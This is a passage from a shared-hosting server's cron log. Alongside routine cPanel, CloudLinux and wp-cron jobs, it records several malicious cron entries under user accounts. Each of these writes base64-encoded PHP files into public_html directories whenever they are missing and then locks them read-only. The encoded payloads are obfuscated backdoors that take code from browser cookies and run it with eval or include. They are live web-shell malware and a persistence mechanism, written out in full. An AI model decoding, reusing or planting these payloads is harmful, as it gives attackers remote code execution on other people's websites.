ewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:45:01 medusa CROND[17394]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 11:45:01 medusa CROND[17396]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:45:01 medusa CROND[17400]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:45:01 medusa CROND[17402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:45:01 medusa CROND[17404]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 11:45:01 medusa CROND[17405]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:45:01 medusa CROND[17408]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:45:01 medusa CROND[17409]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 11:45:01 medusa CROND[17413]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 11:45:01 medusa CROND[17415]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:45:01 medusa CROND[17420]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:45:01 medusa CROND[17418]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 11:45:01 medusa CROND[17422]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:45:01 medusa CROND[17419]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 11:45:01 medusa CROND[17421]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 11:45:01 medusa CROND[17427]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 11:45:01 medusa CROND[17417]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 11:46:02 medusa CROND[18898]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:46:02 medusa CROND[18899]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:46:02 medusa CROND[18900]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:46:02 medusa CROND[18902]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 11:46:02 medusa CROND[18903]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:46:02 medusa CROND[18904]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:46:02 medusa CROND[18905]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 11:46:02 medusa CROND[18906]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:46:02 medusa CROND[18907]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:46:02 medusa CROND[18908]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 11:46:02 medusa CROND[18915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:46:02 medusa CROND[18920]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:46:02 medusa CROND[18917]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:46:02 medusa CROND[18921]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:46:02 medusa CROND[18926]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:47:02 medusa CROND[20443]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
